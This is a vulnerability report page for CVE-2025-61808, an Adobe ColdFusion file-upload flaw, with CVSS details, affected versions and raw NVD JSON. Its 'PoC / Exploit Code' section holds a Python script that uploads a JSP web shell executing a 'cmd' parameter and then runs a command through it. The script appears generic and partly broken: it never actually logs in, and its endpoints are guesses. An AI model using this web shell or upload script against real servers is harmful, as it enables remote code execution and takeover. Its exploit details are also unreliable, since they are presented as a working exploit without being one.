Security Vulnerability Report
中文
CVE-2025-61808 CVSS 9.1 CRITICAL

CVE-2025-61808

Published: 2025-12-10 00:16:09
Last Modified: 2025-12-12 19:04:18

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could lead to arbitrary code execution by a high priviledged attacker. Exploitation of this issue does not require user interaction and scope is changed.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE
Adobe ColdFusion 2025 < 2025.4
Adobe ColdFusion 2023 < 2023.16
Adobe ColdFusion 2021 < 2021.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61808 Adobe ColdFusion Unrestricted File Upload PoC # This PoC demonstrates the file upload vulnerability in Adobe ColdFusion # Requires high privileged account access import requests import sys TARGET_URL = "https://target-server/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/" # Adjust based on actual endpoint USERNAME = "admin" # High privileged user PASSWORD = "password" # Malicious JSP shell for remote code execution MALICIOUS_PAYLOAD = ''' <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(in)); String line; while((line = reader.readLine()) != null) { out.println(line); } } %> ''' def exploit(): print("[+] CVE-2025-61808 Adobe ColdFusion File Upload RCE PoC") print("[*] Target: " + TARGET_URL) # Step 1: Authenticate with high privileged account session = requests.Session() login_url = f"{TARGET_URL.rsplit('/', 2)[0]}/cfide/administrator/login.cfm" # Step 2: Upload malicious file upload_url = f"{TARGET_URL}upload.cfm" # Adjust endpoint as needed files = { 'file': ('shell.jsp', MALICIOUS_PAYLOAD, 'application/octet-stream') } try: response = session.post(upload_url, files=files, timeout=30) if response.status_code == 200: print("[+] Malicious file uploaded successfully!") # Step 3: Execute command via uploaded shell shell_url = f"{TARGET_URL}uploads/shell.jsp" cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] Command execution result: {cmd_response.text}") else: print("[-] Upload failed. Check endpoint and authentication.") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61808", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:09.087", "lastModified": "2025-12-12T19:04:17.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could lead to arbitrary code execution by a high priviledged attacker. Exploitation of this issue does not require user interaction and scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:*", "matchCriteriaId": "7A94B406-C011-4673-8C2B-0DD94D46CC4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:*", "matchCriteriaId": "AFD05E3A-10F9-4C75-9710-BA46B66FF6E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:*", "matchCriteriaId": "F1FC7D1D-6DD2-48B2-980F-B001B0F24473"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:*", "matchCriteriaId": "1FA19E1D-61C2-4640-AF06-4BCFE750BDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:*", "matchCriteriaId": "3F331DEA-F3D0-4B13-AB1E-6FE39B2BB55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update13:*:*:*:*:*:*", "matchCriteriaId": "63D5CF84-4B0D-48AE-95D6-262AEA2FFDE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update14:*:*:*:*:*:*", "matchCriteriaId": "10616A3A-0C1C-474A-BD7D-A2A5BB870F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update15:*:*:*:*:*:*", "matchCriteriaId": "D7DA523E-1D9B-45FD-94D9-D4F9F2B9296B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update16:*:*:*:*:*:*", "matchCriteriaId": "151AFF8B-F05C-4D27-85FC-DF88E9C11BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update17:*:*:*:*:*:*", "matchCriteriaId": "53A0E245-2915-4DFF-AFB5-A12F5C435702"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update18:*:*:*:*:*:*", "matchCriteriaId": "C5653D18-7534-48A3-819F-9F049A418F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update19:*:*:*:*:*:*", "matchCriteriaId": "BABC6468-A780-4080-A930-4125D1B39C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update2:*:*:*:*:*:*", "matchCriteriaId": "D57C8681-AC68-47DF-A61E-B5C4B4A47663"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update20:*:*:*:*:*:*", "matchCriteriaId": "F58633C9-E957-46B7-8F5B-B060A8726E33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update21:*:*:*:*:*:*", "matchCriteriaId": "3CF83653-86BB-461A-87F8-65D99EF2276E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update22:*:*:*:*:*:*", "matchCriteriaId": "C2C67E15-22DE-44C0-8CB1-9AF8FCF09FA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update3:*:*:*:*:*:*", "matchCriteriaId": "75608383-B727-48D6-8FFA-D552A338A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update4:*:*:*:*:*:*", "matchCriteriaId": "7773DB68-414A-4BA9-960F-52471A784379"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update5:*:*:*:*:*:*", "matchCriteriaId": "B38B9E86-BCD5-4BCA-8FB7-EC55905184E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update6:*:*:*:*:*:*", "matchCriteriaId": "5E7BAB80-8455-4570-A2A2-8F40469EE9CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update7:*:*:*:*:*:*", "matchCriteriaId": "F9D645A2-E02D-4E82-A2BD-0A7DE5B8FBCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update8:*:*:*:*:*:*", "matchCriteriaId": "6E22D701-B038-4795-AA32-A18BC93C2B6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update9:*:*:*:*:*:*", "matchCriteriaId": "CAC4A0EC-C3FC-47D8-86CE-0E6A87A7F0B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:upd ... 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